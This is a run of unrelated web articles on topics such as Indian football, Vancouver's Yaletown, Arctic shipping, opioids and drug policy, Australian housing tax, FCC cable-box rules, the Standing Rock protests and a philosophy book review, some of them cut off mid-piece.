The club, who are backed by Bharat Forge Group, spent heavily in their debut season and still could only manage to finish bottom of the table. They weren’t relegated only thanks to the grant offered to corporate entities who commit to support Indian football in the long run by the AIFF.
Bharat FC’s future is very much up in the air as the club management is expected to meet the AIFF president Praful Patel and take a final call on whether they wish to continue their sojourn in Indian football.
Goal also contacted AIFF to learn if they received any intimation from the two Pune-based clubs to which they replied in the negative. However, it must also be noted that Patel had mulled the idea of Pune FC and Bharat FC's merger but given that the former team's owners do not have any intention of funding or being in existence in India's top division league, this is certainly out of the question for now.VANCOUVER -- There is no mistaking Annette O’Shea’s passion for the water, for healthy living, competition, progress and community interaction.
The former semi-pro beach volleyball player turned competitive rower, fully embraces the work-hard, play hard-lifestyle, whether it’s steering her team’s boat in international championships, or keeping Yaletown’s Business Improvement Association on the straight and narrow as its executive director.
Now in her 10th year with the not-for-profit Yaletown office, O’Shea has been part of an intriguing transition, watching as the formerly grungy warehouse district blossomed into a fashionable Vancouver neighbourhood that now boasts 900 businesses, 84 restaurants, 7,000 employees, 20,000 residents and approximately 80,000 tourist visits a year.
There are critics, of course, with some suggesting on social media (where else?) that the former Expo 86 playground is over-hyped, over-priced, not fun, pretentious and the home of patronizing people with over-pampered pooches.
O’Shea has heard all that, but puts more stock in feedback from worldly people who say the trendy area reminds them of Manhattan’s colourful SoHo district, how safe and well-lit Yaletown is at night and how there is much more sophistication in the area that’s filled with world-class chefs, leading fashions, farmers markets and owner-operated shops and studios.
“I’m proud, and not afraid, to say that Yaletown is so far ahead of the mainstream that it would take mainstream forever just to catch up,” said O’Shea. “We’re not edgy anymore. We’re a happening place filled with talented people doing incredible things on the world stage.”
Here is an edited version of our discussion:
Q: With 84 restaurants in a six-block area, the competition for the consumer dollar must be intense.
A: First of all, the food is great. And 84 is double the number we had six years ago. And the chefs not only compete to serve the best dishes, but they have this attitude like ‘I want you to talk about this meal and take pictures of it!’ In October, we’ll hold our 11th Taste of Yaletown and the food just keeps getting better. This year we’ll add eight new restaurants to the festival. For a lot of chefs, they look at New York, Vegas and Yaletown as the places they want on their resumes.
Q: Do you think that many of your ‘upstairs’ Yaletown businesses are doing things that would surprise a lot of Vancouver residents?
A: For sure. We have award-winning creative studios — Sony, MPC, United Front Games, for example — and global, leading-edge software developers who are already developing ‘the next thing.’ We also have studios where influential architects and graphic design firms, with lots of vision and energy, are also designing ‘the next thing.’ Hall of fame chefs, leading edge fashion boutiques and even Oscar-winning special effects studios call Yaletown home.
Q: Does Yaletown have any shortcomings?
A: Our transportation plan is in dire need of immediate attention. I was very disappointed when the recent transit referendum failed, mostly because there didn’t seem to be a Plan B. There is no late-night bus service in our area, which becomes a bigger problem during the rainy months. You look at Yaletown at night and you see all the studio lights on where creative people work. Transit needs to catch up.The Canadian Press
PILOT BUTTE, Sask. -- Patrick Maze is used to seeing flax and weeds on his farm field east of Regina, but where did the brand-new beautiful house come from?
Maze was driving by his land last week and noticed the home sitting on a big trailer where there should have been nothing but rolling prairie.
After doing a double take, Maze came back later with his border collie, Scarlett, to investigate.
"I thought it was strange," he said. "Seeing a house was quite shocking."
Maze figured either a moving company delivered the home to the property by mistake or the rig that was hauling it had mechanical problems.
In the hope of solving the mystery, he posted some pictures on Facebook and asked his online friends for advice.
Some neighbours also came by who were just as puzzled.
It turns out the house was being transported from Winnipeg to the owners who live just outside of Lumsden, Sask., but there was a problem with permits.
The moving company left the house in the field until the paperwork could be sorted out.
"I know I don't get to keep it,"' Maze laughed. "It is no big deal."
Brenda Robertson, who owns the house with her husband, said it finally showed up on Thursday around noon at their rural property and was being set to be placed on its foundation.
Robertson said the house was originally supposed to arrive in September, but there were delays because of highway construction in Manitoba.
She and her husband are relieved their new home wasn't damaged as it sat in Maze's field for a week, unattended, including on Halloween night.
"I was really excited to get it," she said. "The house is all fine and there was no vandalism."
Robertson said she and Maze have not spoken to each other but are now neighbours in a sense, even though they live about 40 kilometres away from each other.
"It all worked out."Former Hollyoaks star Danny Mac is heading back to the stage in a new production of Legally Blonde the Musical.
He'll be playing the role of Warner alongside former X Factor contestant Lucie Jones who will be putting on her pink heels for the lead role as Elle Woods.
OMG you guys!! Terrified & extremely excited to be playing Elle Woods @CurveLeicester Legally Blonde! Eek!! pic.twitter.com/A7vT26ZXjx — Lucie Jones (@luciejones1) January 18, 2016
Theatre veterans Ian Kelsey and Jon Robyns also join the cast as Callahan and Emmett.
Mac has a previous theatre history, taking to the stage in hit musical Wicked before landing the role of Dodger on the Channel 4 soap.
The production kicks of at Leicester Curve from April 11.
Legally Blonde the Musical had a successful three-year West End run and starred Sheridan Smith in the lead role.
Elsewhere, it looks like we might be getting a Legally Blonde 3 if star Reese Witherspoon has her way.By Willy Østreng
Until recently, international trade and shipping was closed off to the Arctic because of its harsh climatic conditions. However, in 1922, Arctic explorer Villjamur Stefansson projected this reality to change. “We have not come to the northward limits of communal progress. There is no northern boundary beyond which productive enterprise cannot go until North meets North on the opposite shores of the Arctic Ocean as East has met West on the Pacific,” he stated. This dazzling prediction stood up to the common conception of the time that the Arctic was a place for daredevils and explorers and not for civilized Economic Man.
Yet global warming and accelerating sea ice melting have revived Stefansson’s vision. Previously restricted resources and waters are now becoming accessible, leaving industries and governments to look upon the geopolitics of the region with a fresh pair of eyes.
Meanwhile further south, some 80 percent of the world’s industrial production takes place north of the 30th parallel north, which makes the Arctic Ocean a shortcut between the world’s most advanced and productive regions. Thus, the Arctic Ocean offers shorter transport distances, less fuel consumption, less carbon emissions, faster deliveries of goods, and more profits than what traditional trading routes can provide between ports in the North Pacific and North Atlantic.
Three shipping passages are available to service trade in the Arctic Ocean: the Northeast Passage (NEP) running north of Eurasian continent and connecting the Atlantic to the Pacific Ocean, the Northwest Passage (NWP) passing through the Canadian archipelago between the Bering and Davies Straits, and the Transpolar Passage (TPP) going through the high seas of the Central Arctic Ocean.
These Passages (see figure 1) can be used as destination-Arctic routes between harbors inside and outside of the Arctic, as transit routes between ports in the North Pacific and the North Atlantic, and as intra-Arctic routes, connecting harbors within the region. Surface ships already go through all these passages, yet the greater challenge is whether they can be used in an economically viable manner and in an environmentally sustainable way.
Figure 1: The transportation Passages of the Arctic Ocean
The Northeast Passage runs through a series of ice-infested marginal seas linked by some 58 straits going through three archipelagoes above a shallow sea bed (less than 20 meters in some places). The shallowness of the shelf and straits affects the size, volume and drafts of ships. The eastern sector of the passage also contains unbreakable multi-year ice from the Central Arctic Ocean – ice that remain frozen through warmer seasons – which adds to the challenge of navigation.
However, ice conditions have been changing recently. The Chukchi Sea is ice-free during periods that have lasted up to three months each year since 1979. While the sailing season for the entire NEP has been extended from three months to close to six months (see figure 2), the Kara Sea Route has been used for shipping on an annual basis ever since 1978 transporting nickel and oil from Dudinka to Murmansk, Russia.
To extend the navigation season, Soviet authorities invested heavily in procuring the biggest and most powerful icebreaker fleet in the world, allowing the Russian government to open 41 Arctic ports to service foreign vessels along the passage. Thus, transit sailing increased from two sailing in 2009, to 34 in 2011 and to 41 in 2014.
The Northwest Passage runs through one of the largest archipelagoes of the world, comprising 36,000 small areas of dry land above sea level—islets and rocks included—that are connected through shallow and narrow ice-plagued channels. Sea ice conditions within the archipelago vary dramatically from year to year, presenting unpredictable conditions for any surface operations.
Destination shipping, with small ships and barges, comprises the principle form of shipping activity in these waters, whereas commercial transit shipping rates are more moderate. From 1903 to 2004, only an average of 1,7 transits a year have been undertaken through the NWP, and it is likely that these numbers will remain low in the future, mainly because ports to service transits are close to non-existent.
The Transpolar Passage runs through a part of the Arctic Ocean where the frequency of multi-year ice is the highest. Contrary to popular belief, the ice cover of the Arctic Ocean is not a static, unbroken surface. It is constantly in motion, breaking into pieces and building up pressure ridges above and below the surface when floating sheets of ice grind together.
In the 1960s, open areas constituted five to eight percent of the total area of the Arctic Ocean during winter, and approximately 15 percent during summer. Of course, they make up a far higher percentage today thanks to climate change. Over the last thirty years, sea ice thickness in the Central Arctic Ocean has decreased by 42 percent, or 1,3 meters. Moreover, model experiments predict an ice-free Arctic Ocean in summer around 2040.
As a consequence, the frequency of maneuverable first year ice will increase. So far, one hundred nuclear and diesel-powered icebreakers have reached the North Pole, but no commercial ships have been able to make the trek thus far. Russian sources suggest that the rapid development of ice-classed vessels and icebreaking technology can make shipping in these waters feasible in winter from April to May and November to December. If so, the shipping season can be extended up to 9 or 10 months.
Figure 2: Potential Sea Routes
Considering navigation conditions, the Norwegian Shipowners’ Association ranked the NEP as their preferred passage in the short term, the TPP in the medium term, and the NWP in the long term.
Furthermore, both Arctic states and non-Arctic states like China, South Korea, Singapore, and India, favor greater economic resource extraction, trading, and shipping in the Arctic. According to experts, destination shipping connected to resource extraction is the type of trade likely to expand the most in the years to come, both for the NEP and NWP.
A new partnership including the Duke Corporate Education organization of Duke University, the Norwegian Veritas GL, and the Norwegian Shipowners’ Association, has organized an Arctic Leadership Programme for Executives (ALPEX) to prepare executives for the challenges of the changing Arctic. The program will take place in 2015 and 2016 in Tromsø, Norway and Helsinki, Finland. The overall purpose of ALPEX is to prepare decision makers with “a good understanding of the Arctic System in total and how the different sub-systems, technical, environmental, political, social and legal interact.”
Given the tremendous changes impacting the region, the Arctic is entering a new age of human interaction and one with a principally industrial future, both in terms of economic and political priorities.
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Willy Østreng is the president of the Norwegian Scientific Academy for Polar Research.
[Photo courtesy of Thomas Leth-Olsen, The Arctic institute and Stratfor]Looking for news you can trust?
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Robert VerBruggen says he’s always had a libertarian view of drug policy: legalize ’em all. We’d get less incarceration, less gang and cartel violence, and an end to the war on drugs, all at a pretty modest cost.
Then again, maybe not:
Well, reality is not lining up with this view of the world. In 1999, Americans had fatal drug overdoses at a rate of 6 per 100,000. In 2014, that number stood at 14.8 per 100,000 — a rise of 8.8 per 100,000. To put this in perspective, America’s famously high homicide rate is about 5 per 100,000. And the overdose spike is apparently driven by a policy change much gentler than full legalization. The general consensus seems to be that in recent decades, doctors started taking patients’ pain more seriously, and thus began prescribing opioid painkillers more generously. Some patients became addicted; others got medications they didn’t need and sold them. (It appears that most addicts are not getting their drugs directly from a doctor.) Efforts to clamp down on this problem may have had an effect on painkiller overdose deaths — there was a dip in 2012 and 2013 — but 2014 saw another record high. Many addicts are switching to heroin, another opioid with a staggering and growing death toll. Now, extrapolating from this narrative, imagine if we completely legalized all drugs, not only removing the threat of incarceration but also dramatically driving down prices.
The United States and Canada account for 83 percent of the worldwide consumption of oxycodone, the narcotic painkiller that’s caused the biggest addiction and overdose problems. No one else even comes close: Germany is in third place at 3.5 percent.
VerBruggen is right: this is an indication of what might happen if all recreational drugs were legalized. It doesn’t have to be what happens, but the laws of economics don’t magically stop when it comes to drugs. If you lower the price dramatically—both in dollars and easier availability—then consumption is going to go up. And that’s going to mean more addiction and more death. Nobody can say for sure how much more, but the Oxy epidemic suggests it could be pretty substantial.
On a related note, the famous Case/Deaton paper showing a rise in white mortality since 2000 breaks out three categories of death: suicides, liver disease (a proxy for alcohol abuse), and drug poisoning. All three have gone up, but poisoning has gone up far, far more than the others. The first two have increased about 50 percent since 2000. Poisoning has increased about 1,500 percent. This coincides with the period when Oxy became popular, and probably accounts for a big part of the difference between increased white mortality in America vs. other countries. Oxy is a famously white drug, and may also account for the fact that mortality has increased among whites but not blacks or Hispanics.
And on another related note, the damage from the Oxy epidemic is worst among the poor and working class. It’s easy to favor drug legalization when you’re middle-class and well educated. Your social group probably doesn’t include many people who abuse drugs much in the first place. Moderate users can afford their habit. And when their use turns into addiction, they usually have a strong support network to help out. It’s a problem, but not a huge one.
In poor communities, none of this is true. Drug addiction is financially ruinous. It often leads to petty crime. Support systems are nonexistent. The justice system is harsh. There are no rehab centers on the Malibu coast to help out. Drug epidemics—Oxy, meth, heroin, you name it—are devastating. It’s something to keep in mind when you consider both the costs and benefits of drug legalization. Ending the war on drugs would indeed be a huge benefit, but the costs might be higher than you think.While affordability, measured by how much households spend of incomes on loans, has hovered between 20 and 30 per cent and remains well-below record peaks, younger buys need more of their incomes to build up a deposit, the bank says in its submission.
Politically the issue is alive, with Labor indicating over recent months that it will consider the capital gains tax discount for investors who negatively gear as it prepares its own housing affordability policy.
David Murray, a former Commonwealth Bank chief and head of the Abbott government's financial system inquiry, has called for capital gains tax and negative gearing to be looked at as part of any changes. "You have to look at them all," he said in June.
Similarly, the head of the government's audit commission, businessman Tony Shepherd has recommended lifting the capital gains tax rate to a person's income tax rate.
"I can't see any reason to treat capital gains any different from income gains," he said last month. "And I think it does in fact probably lead to a greater emphasis in some respects on negative gearing."
Others calling for a review of negative gearing include the Grattan Institute's John Daley and prominent economist Saul Eslake.
While real estate industry groups are vehemently opposed to watering down negative gearing, the Reserve Bank's submission represents the most high-level official challenge to the current system.
Capital tax breaks blamed
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Reserve Bank officials have struggled this year to balance the need for additional official interest rate cuts – largely to maintain downward pressure on the Australian dollar in order to benefit the broader economy – against the threat of a property bubble.
The Reserve Bank questioned the federal government's 1999 decision to halve capital gains tax on investment properties, as well as the 2003 move that allowed for the first time super funds to borrow – both decisions taken during the John Howard's prime ministership.
Both measures are having the affect of encouraging more people to invest in property over other assets, the Reserve Bank suggests.
"Since property can usually be purchased using higher leverage than other assets that produce capital gains, property is especially affected by this feature of the tax system," the Reserve Bank said in its submission.
In addition, the bank points out that many self-managed super funds have taken advantage of the borrowing rules to speculate on property.
"At the margin, this has increased the population of potential investors," it said, adding that while the stock of housing owned by self managed funds is small, it has grown quickly – a trend that Reserve Bank officials have previously warned may be increasing risks across the financial system.
Hockey defends principle
The Australian Prudential Regulation Authority is currently actively engaged in using regulations to suppress investor buying in key parts of Sydney's market, an official market intervention unseen since the 1970s.
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Treasurer Joe Hockey, who delivered a wide ranging speech on tax reform on Wednesday, echoed the Reserve Bank's concerns about how capital gains tax operates, describing it as an "in-built structural challenge."
"For example, you're allowed to negatively gear a $1 million 40-year-old unit in the middle of Melbourne, but you may not be able to negatively gear a business employing 10 people that is exporting and engaged in productive activities," Mr Hockey said.
"Do you address the issue of negative gearing on that property or the negative gearing on the business?"
Mr Hockey said a key principle was ensuring that people be able to deduct expenses of a business or investment against their primary income.
"By removing negative gearing on real estate, as some are suggesting … they are creating an exception to a standing rule in taxation law. And that is that you can deduct the cost of the loss against another form of income, that would be creating another exemption," he said.
Business Council of Australia chief executive officer Jennifer Westacott said broader tax reform meant keeping all options on the table, particularly in the lead-up to next week's federal and state leader's retreat.
"It will require a level of bipartisanship we have not seen for a long time, and for state and territory governments to sign up to achieving the optimal tax system for the country while making their own tax arrangements more competitive," she said.
First-time buyers hurt
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The Reserve Bank's submission highlights that Australia's tax system effectively disadvantages renters over owners, particularly those with little or no debt.
While mortgage interest repayments cannot be deducted – as is the case in countries such as the US – taxpayers are not subject to taxation on so-called "imputed rent," which is what a homeowner would pay if they were renting their home. This exists in Switzerland, and has the effect of reducing home ownership rates, the Reserve Bank said.
The bank concludes its submission by suggesting the current tax system is effectively cutting first-time buyers out of the market.
"Given the value Australian (and other) households place on home ownership, policy should not unduly advantage property investors at the expense of prospective owner-occupier home buyers.
"Financial stability considerations would suggest that tax and regulatory frameworks should avoid encouraging over-leveraging into property, whether by owner-occupiers or investors."
Negative gearing allows investors to reduce their taxable income from wages by deducting expenses incurred from owning an investment property, including interest payments, and then only pay 50 per cent tax when the capital gains are realised.The Federal Communications Commission unveiled a plan Wednesday that aims to break the cable industry’s stranglehold on the market for set-top boxes, potentially paving the way for a new generation of devices that could allow viewers to easily switch back and forth between TV channels and online services like Netflix.
The proposal is a major blow to the cable and satellite TV industry, which pulls in an estimated $20 billion every year leasing out its boxes to consumers. And it is, at least in part, a self-inflicted wound.
The FCC’s proposal is a response to a law that the cable industry fiercely lobbied Congress to pass in 2014. At the time, the law seemed like a significant victory for the cable companies and a defeat for consumer advocates. But the FCC’s announcement Wednesday flipped that outcome on its head.
The five-member commission plans to vote on the proposal next month, and will then have to review public comments before approving any final rules. But FCC Chairman Tom Wheeler left little doubt about what direction he is heading.
“The proposal is about one thing: Consumer choice,” Wheeler wrote in an op-ed on the technology news website Re/Code Wednesday. “You should have options that competition provides. It’s time to unlock the set-top box market—let’s let innovators create, and then let consumers choose.”
In 2014, lawmakers were working on what many considered a “must-pass” reauthorization of a satellite TV law. Because it was one of the few bills with any hope of passing a gridlocked Congress, virtually every lobbyist with any connection to the TV industry tried to attach their pet issue to the legislation. But the National Cable and Telecommunications Association, the lobbying arm of Comcast and other big cable providers, was the only group with any real success.
At the urging of NCTA and other cable groups, lawmakers attached language to repeal an FCC regulation that required cable companies to include a “CableCARD” in their set-top boxes. The purpose of the CableCARD, a credit-card-sized device that de-scrambles TV channels, was to create a competitive market for cable boxes. But the system was confusing and inconvenient, and some 99 percent of consumers continued to pay an average of $231 every year to rent the boxes from their cable provider.
The cable industry argued the CableCARD requirement was unnecessary, and lawmakers in both parties largely agreed. Sen. Edward Markey, a Massachusetts Democrat, blocked the bill from reaching the Senate floor in a last-ditch attempt to try to strip out the cable-box language, but he ultimately backed down.
Lawmakers agreed to include a provision to instruct the FCC to establish a working group to produce a report on making the cable-box market more competitive. But the bill didn’t direct the FCC to take any particular action, and many believed that the report would just gather dust at the FCC. When the Senate passed the legislation in November 2014, NCTA applauded the lawmakers for “achieving bipartisan consensus” and deciding to “sunset the FCC’s outdated and ill-conceived” CableCARD requirement.
The FCC’s working group, made up of consumer advocates, tech companies, and cable companies, produced its report last August, but it wasn’t able to agree on any one set of recommendations for set-top box rules. Representatives from consumer groups like Public Knowledge and tech companies like Google and Amazon wanted the FCC to issue new regulations requiring cable companies to make their video feeds accessible to third parties, which could then create their own interfaces and features. But the cable industry argued Internet video is already thriving, and that consumers can continue to access online services and cable TV through apps on their devices.
While the FCC wasn’t required to do anything with the report, Wheeler, who often says his mantra is “competition, competition, competition,” largely took up the plan from the consumer groups and tech companies.
But the cable industry isn’t giving up yet. A group of 47 cable providers, content companies, and other groups launched the “Future of TV Coalition” Wednesday to try to rally opposition to Wheeler’s plan. Alfred Liggins, the CEO of the cable network TV One and the cochairman of the new coalition, called the FCC’s proposal “a brazen money grab by Big Tech companies that would do severe damage to the programming ecosystem, and in particular, niche and minority-focused networks.”
Rep. Bob Latta, an Ohio Republican and the chief author of the language repealing the CableCARD requirement, warned that the proposal for another “government-dictated standard” would “inevitably lead to higher costs and less choices for the American people.”
Markey, who had tried to block the CableCARD repeal, is celebrating the fact that the whole saga has apparently backfired on the cable industry. “The FCC is finally on its way to fulfilling the promise to American consumers of a competitive and robust video box market,” Markey said in a statement. “Consumer choice should fuel the video box market, not cable company control. In the 21st century, consumers should be able to choose their set-top box the same way they choose their mobile phone.”
—This article has been updated.Posted by
Emily Dulhanty,
March 6, 2015 Email Emily Dulhanty On Twitter:
@emidul Read this on your iPhone/iPad or Android device
Dino Rossi of League1 Ontario
Recently, Red Nation Online had the chance to speak with Ontario Soccer Association Director-at-Large Dino Rossi, who is also the chair of League1 Ontario. L1O was founded in the fall of 2013 as |
managing editor of RailwayAge, a well-respected trade publication.
"In the case of trains, the vehicles you're playing with are usually a lot bigger, and so have much more visible and damaging results."
Via spokesman Malcolm Andrews said the company welcomed the findings, but cautioned against drawing any conclusions or laying any blame before the formal investigation concluded.
"It's far too early in this investigation to jump to any conclusions whatsoever," said Andrews.
"There's an enormous amount of work that's yet to be done in terms analysing exactly what happened. Let's allow this investigation to continue its course."
Via CEO Marc Laliberte also posted a message on the company's website, asking people to honour the three lost engineers.
Passenger injuries in Sunday's crash ranged from minor to a broken leg, a back injury and a heart attack.
At least two class-action lawsuits have been launched.
Investigators haven't yet looked at the mechanics of the locomotive, or parts such as the throttle, to ensure it was working properly, but note there was so much damage at the front of the train that it may prove difficult to examine.
Both the TSB and the New Democrats urged Transport Canada to install voice-recorder boxes on all Canadian trains.Spread the love
Resistance to the Dakota Access Pipeline (DAPL) is about to get a major boost. On Dec. 4, U.S. military veterans — possibly numbering in the hundreds — plan to gather “like a military unit” to stop the Dakota Access Pipeline.
Having witnessed the police state brutality inflicted on Native Americans attempting to protect sacred land and natural resources, the former service members feel compelled to stand with the Standing Rock Sioux.
According to the Veterans for Standing Rock GoFundMe page:
“We are veterans of the United States Armed Forces, including the U.S. Army, United States Marine Corps, U.S. Navy, U.S. Air Force and U.S. Coast Guard and we are calling for our fellow veterans to assemble as a peaceful, unarmed militia at the Standing Rock Indian Reservation on Dec 4-7 and defend the water protectors from assault and intimidation at the hands of the militarized police force and DAPL security.”
Rep. Tulsi Gabbard from Hawaii, a combat war veteran, will be joining the act of resistance, according to the Facebook page Veterans Stand for Standing Rock.
As Task and Purpose notes, federal government ignored their duty under the National Historic Preservation Act to consult the Standing Rock Sioux before approving DAPL. Some of the pipeline construction will take place on sacred land that was taken from the tribe over the past 150 years, and the pipeline will be buried under the tribe’s drinking water source.
While federal government abandoned Native Americans once again, law enforcement are acting as militarized protection services for Energy Transfer Partners, the Texas-based company behind the 1,170-mile pipeline. State and local governments are set to reap millions in taxes once the oil begins flowing.
Numerous violent crackdowns have already been carried out by cops in riot gear – drenching protestors with water cannons in freezing temperatures, blowing arms apart with concussion grenades, choking protestors with tear gas and sending people into cardiac arrest.
“This country is repressing our people,” said Michael Wood, a Marine Corps veteran and former Baltimore police officer. “If we’re going to be heroes, if we’re really going to be those veterans that this country praises, well, then we need to do the things that we actually said we’re going to do when we took the oath to defend the Constitution from enemies foreign and domestic.”
The main man behind it all is Wes Clark, Jr., son of Gen. Wesley Clark, a former Supreme Allied Commander who ran for the Democratic presidential nomination in 2004. Clark Sr. called for action on climate change, and this motivation is also driving his son to fight against DAPL.
Wes Clark, Jr., is best known as a co-host for the Young Turks, and sees the Dec. 4 resistance at DAPL as “the most important event up to this time in human history.
“We’re not going out there to get in a fight with anyone. They can feel free to beat us up, but we’re 100% nonviolence.”
Clark and Wood say they are prepared to take a bullet for the cause, and they are going in well-prepared. The veterans will don old military uniforms and be equipped with body armor, ear plugs and gas masks.
“Vets Standing For Standing Rock was announced via an official sounding letter formatted like a five-paragraph military operation order, breaking down the “opposing forces” — “Morton County Sheriff’s office combined with multiple state police agencies and private security contractors” — “Mission,” “Execution” and “Logistics,” among other things. A packing list virtually mirrors the ones issued to soldiers preparing to deploy to the field (minus the weapons). But there are also parts of the document that read like a revolutionary manifesto. Under the section titled “Friendly Forces,” for example, the op order states, “we are there to put our bodies on the line, no matter the physical cost, in complete nonviolence to provide a clear representation to all Americans of where evil resides.”
Clark and Wood have an “operations order” in place to so they can organize “like a military unit” to carry out their goals. With a group of possibly 500 veterans and other brave souls, they will lock arms and cross the Missouri River to non-violently confront militarized police armed with rifles, mace, batons and dogs. Traditional Sioux war songs will be played as they attempt to peacefully surround the drill pad from which the pipeline will be bored under the river.
“It’s simple and we have clearly defined goals, so people don’t get caught up in the confusion,” said Wood. “One of the issues the police are going to face is that our level of planning and coordination is vastly superior to theirs, so they may end up with a problem when it comes to that.”
Even if the veterans are unsuccessful in stopping DAPL, the confrontation is sure to draw national attention — even from a mainstream media that have virtually ignored the corporate and government abuse being carried out on Native Americans in the interest of big oil.Donald Trump and Hillary Clinton won Washington state's presidential primaries Tuesday, although only Trump gained delegates. Washington ignores its Democratic primary results, instead allocating delegates through a Democratic caucus, which Bernie Sanders won in March. Sanders has fared well nationally in caucuses, which generally favor candidates with a more passionate base. Clinton still holds a comfortable lead in overall delegates. Trump on Tuesday had 76% of the Republican votes with 68% of precincts reporting, according to CNN. Though he is now running unopposed, Washington ballots were mailed out weeks ago with Ted Cruz, John Kasich and Ben Carson's names still listed. Trump's win gives him 44 more delegates, putting him just four away from clinching the Republican nomination, which he is in line to do in primaries scheduled for June 7.
Have breaking news sent to your inbox. Subscribe to MarketWatch's free Bulletin emails. Sign up here.Markus Gabriel's book is the most recent release in Edinburgh University Press's Speculative Realism series. It stands as a formidable installment in the contemporary resurgence of realism emerging from Europe, but Gabriel by no means limits his engagements to debates in so-called continental philosophy. While a cursory glance would classify him with speculative realists like Graham Harman and Quentin Meillassoux, Gabriel demonstrates that he is more than equipped to grapple, as he does, with a panoply of Anglo-American figures, from Frege and Kripke to Brandom and Boghassian. In his Introduction to New Realism (Polity, 2014), Maurizio Ferraris explicitly and quite specifically gathers Gabriel's view under the moniker New Realism, when he recounts the following anecdote:
New realism is one of the very few philosophical movements of which one may indicate the exact date and place of birth: it was 23 June 2011 at 13.30 at the restaurant "Al Vinacciolo" in Via Gennaro Serra 29, Naples. I can be so accurate because I was there, with Markus Gabriel and his Italian collaborator Simone Maestrone, after a seminar at the Italian Institute for Philosophy Studies. Markus was in the process of founding an international centre of philosophy in Bonn and wanted to inaugurate it with a big conference. I told him the right title would be "New Realism." I thought that name captured what in my opinion was the fundamental character of contemporary philosophy: that is, a certain weariness of postmodernism and the belief that everything is constructed by language, conceptual schemes and the media. Well, it is not like that... (Kindle edition, Loc 261)
The "new realism" in Gabriel's subtitle is not necessarily identical to the new realism championed by Ferraris -- the manner of argumentation, strategy, tone, and interlocutors differ -- but it shares the same spirit and offers a vibrant, invigorating tonic to those still hungover from the dominant trends in twentieth-century philosophy. Not unlike the texts of his occasional collaborator, Slavoj Žižek, Gabriel's book is not only intellectually rigorous, it is peppered with Žižek-style pop culture references and humor. It is genuinely entertaining at points, a fact that simply complements the provocation of its arguments. Which is not to say that Gabriel does not exhibit his own distinct style, which avoids many of the excesses familiar to readers of the Slovenian and exhibits a facility for presenting difficult ideas as if they were less than difficult. While this aids in consumption of the text, one must be on guard against mistaking what is complex for what is simple and must occasionally ask if Gabriel has not made the weaker argument appear stronger. Readers interested in both analytic and continental metaphysics, as well as German idealism, will find a lot to digest, and they should have a pleasant time reading what is to my mind a quite readable book that defines its terms and pithily characterizes the problems, positions, and debates it engages for those unfamiliar with them.
Unlike Mythology, Madness, and Laughter, the book he coauthored with Žižek (2009), and Transcendental Ontology (2013), Fields of Sense is less a book on German idealism that happens to include a number of original insights and much more an original ontological treatise. Furthermore, it is an expanded, more wide-ranging iteration of the issues and arguments that Gabriel introduced in his bestselling Why the World Does Not Exist, originally published in German in 2013 and delivered as a TEDx talk that same year. The newest book is divided into two halves, the first a "negative ontology" and the second a "positive ontology." Although, this is a bit misleading as there are a handful of affirmations and theses advanced in the first half and plenty of critical chiseling done in the second. The negative first half, which consists of seven chapters, identifies a number of enemies, including naturalism, materialism, physicalism, the mathematization of ontology (Badiou et al.), contemporary nihilism, and the correspondence theory of truth. The last of these chapters, the most constructive and pivotal, summarizes and sketches the "no-world-view" that gets fleshed out in the book's second half. Given that Gabriel is defending a version of realism, his no-world-view is not, of course, a rejection of the reality of the external world in the name of idealism, antirealism, or constructivism. It is the view that there is no entity or compilation of entities that answers to the label "the world." What exists, properly speaking, are objects and fields of sense, neither of which garner their existence from participation in the world. I will return to this theme after outlining the book's first half.
Most of the assumptions of contemporary metaphysics are "fundamentally flawed," argues Gabriel (5). This is the result of what he regards as the common collapse of metaphysics into ontology, two fields that must be kept separate. He understands ontology as the "systematic investigation into the meaning of 'existence'," whereas metaphysics attempts to give an account of the difference between reality and appearance, on the one hand, and to provide a "theory of totality" or a picture of "the world as world," on the other (5-6). Gabriel's book is resolutely a work of ontology, in part because he simply rejects the idea that metaphysics is a meaningful enterprise. Indeed, as defined here, metaphysics is impossible because the world lacks existence; ontology, as defined and conducted here, discloses this clearly.
Gabriel proposes the name "meta-metaphysical nihilism" (the no-world-view) for the realist view he defends. This is "the view that metaphysics literally talks about nothing, that there is no object or domain it refers to" (7). To be clear, however, this is a species of ontological realism and, to be sure, not the old variety. The difference is that Gabriel's realism is not characterized by its commitment to the mind-independent external world but by its affirmation that any perspective on mind-independent objects is as real and unconstructed as the objects themselves. The problem with old realism and constructivist antirealism is that the former cannot account for the independence of the mind itself since by its definition the mind is mind-dependent, while the latter is premised, somewhat inconsistently, on the idea that there is something "out there" for the mind to construct (10-11).On this last point Gabriel notes his affinity Boghossian's critique of constructivism and epistemological relativism in Fear of Knowledge.
Chapter 1, "Zoontology," lays out the terms of ontology by rejecting zoontology as the ground of ontology (39). At first glance zoontology looks like nothing more than anthropomorphic naturalism, which would reduce the domain of what is to the domain of whatever can be known by humans given their specific, biologically-determined epistemic capacities. But there is more to it. Zoontology, generally speaking, is the ontology of life, but "life" understood as the very ground of ontology, whether naturalistic or phenomenological. It holds that the meaning of being, or existence, can only be grasped once the meaning and limits of human being have been deciphered. For Gabriel, this is effectively what Heidegger argues in Being and Time and what motivates "scientistic naturalism," or the view that "nature" designates the totality of individuals extended in space-time and that this totality, which excludes human rationality, exhausts the domain of the really real (34-35). The danger of zoontology is that it encourages us to "overestimate our position as special knowers in our planet 'zoo'" and "leads to thinking that ontology is generally somehow constrained or governed by features of human development or rationality" (34). In Meillassoux's language, zoontology is a correlationist trap that entices us into overlooking the fact that there are facts about the world which have nothing to do with what humans desire, intend, or care about.
Chapter 2 deploys an argument against existence as a "proper property," which Gabriel defines as "a property reference to which puts one in a position to distinguish an object in a domain from another or from some other objects in the domain" (43). This line of argument is crucial to advancing the claim that, despite the nonexistence of the world, it is still possible to distinguish between what does and does not exist and to distinguish between facts, fictions, and falsehoods. Gabriel examines some extant arguments, including Kant's, to the effect that existence is not a proper property (or real predicate). He contrasts proper properties with metaphysical and logical properties in order to show that existence is not something that belongs exclusively to things, which would entail that everything exists. His purpose here is to respond to Kant, Meinong, Russell and others by showing that existence is an ontological property, neither proper, metaphysical, nor logical. To exist, for Gabriel, is to appear in a domain, or to appear in what he calls a "field of sense," which we will return to later (44). Existence, then, is not something that belongs to individuals themselves, but a property of individuals that appears within a given domain; existence will differ between domains, which implies that what it means to exist is field-relative (60-61). This is not to say that for individuals to exist they must appear to someone or something capable of representing them but that they must appear in relation to other objects within that field.[JH1] It also does not mean that existence is entirely dependent on the field in which something appears but rather that existence only makes sense when we are talking about individuals appearing within a given field (65). The sense of existence, ontology itself, is never about independent individuals or "empty" fields: 